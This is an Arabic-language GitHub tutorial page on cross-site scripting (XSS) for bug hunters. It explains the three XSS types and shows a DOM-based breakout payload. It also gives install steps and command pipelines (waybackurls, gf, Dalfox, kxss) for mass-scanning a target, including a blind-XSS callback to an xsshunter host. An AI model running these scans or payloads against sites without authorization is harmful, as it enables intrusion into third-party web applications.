Skip to content

Latest commit

 

History

History

XSS

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

XSS بالعربي

** المقدمة **

Cross-Site Scripting (XSS) هو نوع من هجمات الحقن, حيث يتم حقن البرامج النصية الضارة في مواقع الويب. هناك ثلاثة أنواع من هجوم XSS

Reflected XSS - النوع المنعكس

عندك براميتر بيطبع محتواة فى الصفحة فا ممكن تضيف html tags ومنها تقدر تنفذ جافا سكريبت (ٍٍْXSS)

Stored XSS - المخزن

reflected الفكرة ببساطة ان البايلود بتاعك بيتم تخزينة على عكس فا النوع اعلى من التاني عشان ممكن يتنفذ على اى حد منغير ما تبعت حاجة لى المستخدم زى مكان كومنتس او اسم للمستخدم


DOM-Based XSS - من داخل كود جافا سكربت

نوع من XSS يحتوي على حمولات موجودة في DOM بدلاً من كود HTML.

مثال : عندك الموقع دة وبراميتر بيطبع المحتوى بتاعة فى كود جافاسكريبت زى دة

http://vuln.attack/play.php?parameter=REFLECT
--
var flag_open = '0';
var feedid = '';
var link_url = "REFLECT";
var url_a = 'play.php';

فا ممكن تطلع برة وتضيف البايلود بتاعك

http://vuln.attack/play.php?parameter=REFLECT";alert(1)//
--
var flag_open = '0';
var feedid = '';
var link_url = "REFLECT";alert(1)//";
var url_a = 'play.php';

طبعا فيها اكتر من طريقة والموضوع كبير شوية فا ممكن تلقى نظرة على Chrom Dev Tools by Tomnomnom

وجرب تحل Google FireRang XSS


ازاي تلاقي XSS بسهولة

ايجاد الXSS ببعض ادوات الAutomate

اولا نستخدم Dalfox, WaybackURL, GF Patterns اول حاجة هنحتاج نثبت الادوات دي وقبل الادوات اهم شئ انك تثبت لغة البرمجة ذات نفسها الي الادوات دي بتشتغل بيها الا وهي لغة الGO

sudo apt install -y golang
export GOROOT=/usr/lib/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
source .bashrc

ولو عايز تشو فيديو علي السريع بيشرح تثبت لغة الGO ممكن تشوف الفيديو دا اضفط هنا

DalFox

بعد كدا هنثبت اول اداة وهي DalFox لو انت شغال علي اوبونتو يبقا سهل انك تثبتها كدا علي طول من Snap

$ sudo snap install dalfox

او لو انت ثبت الجو زي مااحنا قولنا يبقا تثبتها كدا علي طول

go get -u github.com/hahwul/dalfox

WaybackURLs

ثاني اداة هتتثبت كدا سهل جدا بعد اما ثبتنا الجو طبعا

go get github.com/tomnomnom/waybackurls

GF Patterns

ثالث اداة بالاحتياجات الخاصة بيها وهي اداة GF التثبيت بتاعها هكذا جو بردو هنا احنا هنثبت الاداة الاول

go get -u github.com/tomnomnom/gf
echo 'source $GOPATH/src/github.com/tomnomnom/gf/gf-completion.bash' >> ~/.bashrc
source ~/.bashrc

بعد كدا في شوية Patterns او احتياجات الي هي الاداة هتشتغل بيهم وهنثبتهم كالاتي اول حاجة هنعمل ملف نحطهم فيه ثانيا هننفل بعض الPatterns الخاصة بTomnomnom وهنحمل كمان شوية من ريبو تانية بردو

mkdir ~/.gf
cp -r $GOPATH/src/github.com/tomnomnom/gf/examples ~/.gf
cd ~/
git clone https://github.com/1ndianl33t/Gf-Patterns
mv ~/Gf-Patterns/*.json ~/.gf

تمام كدا كل الي محتاجينه اتثبت علشان نعمل Automate لبعض الثغرات منهم الي بنتكلم عنها هنا وهي XSS

هذة بعض الاوامر التي ممكن تستخدمها في الXSS زي ماقولنا

echo "target.com"| waybackurls |gf xss |dalfox pipe --blind youusername.xss.ht

هنا انصحك تستخدمها في سيشن تانية وافضل انك تستخدمها في tmux tool وهنا بردو لازم يكون معاك اكونت علي xsshunter سهل انك تعمل اكونت من هنا

https://xsshunter.com/app وبعد اما تعمل اكونت غير youusername.xss.ht للصب الخاص بيك انت ثاني طريقة وهي هنستخدم فيها kxss

KXSS - تثبيت

اول حاجة هنحملها من الجيت هاب هكذا وهندخل علي الفولدر الي اتحمل دا وهتلاقي جواه ادوات كثيرة هندخل جوا فولدر kxss ونعملها BUILD وهننقلها للbinary directory

git clone https://github.com/tomnomnom/hacks
cd hacks/kxss
go build
cp kxss /usr/bin

خلاص كدا ثبتناها ندخل بقا علي الكوماند الجاي وهو هنعمل بيه Automate لاننا نلاقي RXSS من خلال الادوات الي فات بردو بس بردون DalFox

echo 'target.com'| waybackurls | grep -v "png\|jpg\|css\|js\|gif\|txt\|pdf" | grep "="|httprobe |kxss|tee kxss.txt

اداة httprobe هتلاقيها هنا https://github.com/tomnomnom/httprobe
وبعد اما تشغل الكوماند الي فوق هيجرب بعض الcharcters في البرامترز ولو لقي في برامتر بيقبلهم هيقولك وفي الاخر هيحفظهملك في file

اخيرا

واخرا وليس اخرا هنقف لهنا لو عندك اي اضافة اعمل pull request وضيفها وبردو انا شغال لو في حاجة جديدة هضيفها باذن الله

وهنا هتلاقي في بعض الملفات هتفيدك في بعض الانواع المختلفة من الXSS

Files
Payload ليستة
xsspayloads.txt